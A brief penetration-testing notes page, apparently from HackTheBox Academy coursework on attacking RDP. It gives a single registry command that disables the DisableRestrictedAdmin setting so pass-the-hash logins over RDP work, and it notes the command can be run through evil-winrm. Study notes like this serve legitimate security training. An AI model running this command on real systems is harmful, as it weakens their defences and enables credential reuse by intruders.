# reg add

This will enable the pass the hash attack

* hackthebox academy - attacking common services (rdp)

PS ( You can also enable or use this command via evilwinrm linux)

{% code overflow="wrap" %}
```
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
```
{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FI0KVEgSWRVHi9t0Oitn0%2Fimage.png?alt=media&#x26;token=baf87346-fd04-4442-a044-d338e4a725c9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F4cdNJMZaKvxk1XsJv4Fs%2Fimage.png?alt=media&#x26;token=ba38e3b1-566e-4474-bb61-4ca2a1b4280f" alt=""><figcaption></figcaption></figure>
